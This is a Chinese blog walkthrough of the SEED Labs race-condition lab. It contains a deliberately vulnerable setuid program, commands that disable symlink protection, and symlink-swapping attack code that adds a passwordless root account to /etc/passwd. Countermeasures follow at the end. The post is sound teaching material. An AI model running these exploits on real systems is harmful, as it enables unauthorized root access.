Race Condition Vulnerability Lab


实验准备

关闭保护措施(根据版本选择命令)

为什么我们一直在学习一些已经被解决的漏洞呢?(⓿_⓿)

// On Ubuntu 20.04, use the following:
sudo sysctl -w fs.protected_symlinks=0
sudo sysctl fs.protected_regular=0

// On Ubuntu 16.04, use the following:
sudo sysctl -w fs.protected_symlinks=0

// On Ubuntu 12.04, use the following:
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0

下载实验资料:https://seedsecuritylabs.org/Labs_20.04/Software/Race_Condition/

准备存在漏洞的程序vulp.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;

    /* get user input */
    scanf("%50s", buffer);

    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }

    return 0;
}
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp

Task 1: Choosing Our Target

背景

我们选择以密码文件 /etc/passwd(正常用户无法写入该文件),来利用程序中的竞赛条件漏洞。
通过利用该漏洞,我们想在密码文件中添加一条记录,目的是创建一个拥有 root 权限的新用户账户。

但是在 linux 系统中,还存在着应该/etc/shadow这个文件用于存储密码的hash值,如果说/etc/passwd形式如下(关键是第一部分的x),这代表密码是存储在影子文件中

root:x:0:0:root:/root:/bin/bash

因此我们可能需要修改两个文件,这就变得比较复杂了,因此我们可以绕路,直接改影子文件。

任务

  1. 使用root在中/etc/passwd手动写入

    sudo  nano /etc/passwd
    test:U6aMy0wojraho:0:0:test:/root:/bin/bash

    此处U6aMy0wojraho 是空密码的 hash 值

  2. 使用无密码登录 test 账户

    成功

  3. 记得清除刚才的修改

Task 2: Launching the Race Condition Attack

Task 2.A: Simulating a Slow Machine

创建passwd_input文件、写入内容:

test:U6aMy0wojraho:0:0:test:/root:/bin/bash

准备攻击程序 attack_process.c

#include <unistd.h>
int main()
{
	while(1)
	{
		unlink("/tmp/XYZ");
		symlink("/dev/null","/tmp/XYZ");
		usleep(1000);

		unlink("/tmp/XYZ");
		symlink("/etc/passwd","/tmp/XYZ");
		usleep(1000);
	}
	return 0;
}

编译

gcc -o attack_process attack_process.c

创建target_process.sh脚本文件:

#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]  
do
   ./vulp < passwd_input
   new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

开两个终端:一个运行attack_process,另一个运行./target_process.sh

./attack_process
sudo chmod +x target_process.sh
./target_process.sh

Task 2.B: The Real Attack

攻击目的

在真实环境下去进行竟态攻击。

在之前的任务中,我们通过要求易受攻击的程序放慢速度来“欺骗”,这样我们就可以发起攻击。 这绝对不是真正的攻击。

在这个任务中,我们将发起真正的攻击。 在做任务前,确保从 attack_process.c 程序中删除了 sleep() 语句。

流程复刻

首先把 taskA 成功攻击写入到 passwd 文件的注入删掉:

sudo nano /etc/passwd

以及删除/tmp/XYZ

sudo rm /tmp/XYZ

编写attack_process.c

//attack_process.c
#include <unistd.h>
 
int main()
{
    while(1){
        unlink("/tmp/XYZ");
        symlink("/dev/null","/tmp/XYZ");
 
        unlink("/tmp/XYZ");
        symlink("/etc/passwd","/tmp/XYZ");
    }
    return 0;
}
gcc attack_process.c -o attack_process

一样两个窗口,分别运行attack_processtarget_process.sh

./attack_process
./target_process.sh

如果失败了就删了 /tmp/XYZ 重来

Task 2.C: An Improved Attack Method

向删除

sudo rm /tmp/XYZ
sudo rm /tmp/ABC

attack_process.c修改为:

//attack_process.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main()
{
    unsigned int flags = RENAME_EXCHANGE;
    unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
    unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
	while(1){
    	renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
	}
    return 0; 
}
gcc attack_process.c -o attack_process

一样两个窗口,分别运行attack_processtarget_process.sh

./attack_process
./target_process.sh

Task 3: Countermeasures

建议先做任务 B

Task 3.A: Applying the Principle of Least Privilege

本实验室易受攻击程序的根本问题是违反最小权限原则。

最小特权原则:即,如果用户不需要某些权限,则需要禁用该权限。

更改vulp.c如下,重新编译,设置为root所有的setuid程序:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;
    uid_t uid = getuid(); //真实用户id
	seteuid(uid); //暂时关闭 root 权限,让用户使用其原本的权限

    /* get user input */
    scanf("%50s", buffer);

    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }

    return 0;
}

重新编译 vulp.c

gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp

重复 Task2 C,未能成功(运行 5 分钟)

原因:调用open()时没有root权限打开/tmp/X指向的受保护的文件passwd

Task 3.B: Using Ubuntu’s Built-in Scheme

Ubuntu 10.10 和更高版本带有一个内置的保护方案,可以防止竞争条件攻击。 在此任务中,您需要使用以下命令重新打开保护:

# On Ubuntu 16.04 and 20.04, use the following command: 
sudo sysctl -w fs.protected_symlinks=1

使用任务2的vulp.c,重新攻击:

还是失败,原因是:

当设置粘滞位比特后,只有文件所有者、目录所有者或root用户才能重命名或删除粘滞目录中的文件。/tmp目录设置了粘滞位比特。当粘滞符号保护开启后,全局可写的粘滞目录(如tmp)中的符号链接的所有者,与跟随者和目录所有者的其中之一相匹配时才能被跟随。

本次竞态条件攻击中,漏洞程序以root权限运行,即跟随者为root,/tmp目录的所有者也是root,但是符号链接所有者时攻击者本身(seed)。所以系统不允许程序使用该符号链接。

局限性:仅适用于/tmp这样的粘滞目录。


如果本文帮助到了你,帮我点个广告可以咩(o′┏▽┓`o)


文章作者: Anubis
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Anubis !
评论
 上一篇
Buffer-Overflow Attack(Set-UID Version) Buffer-Overflow Attack(Set-UID Version)
本文深入探讨了缓冲区溢出漏洞及其利用方法,基于Seed-Lab的实验环境。文章首先解释了缓冲区溢出的基本概念和产生原因,随后详细介绍了如何在32位和64位系统中发起攻击,包括对抗地址随机化、StackGuard保护机制和不可执行栈等安全措施。
2023-11-03
下一篇 
Tailscale 开机启动 Tailscale 开机启动
或许你很懵,但是你先别懵,这是在登录之前启动的教程
2023-10-17
  目录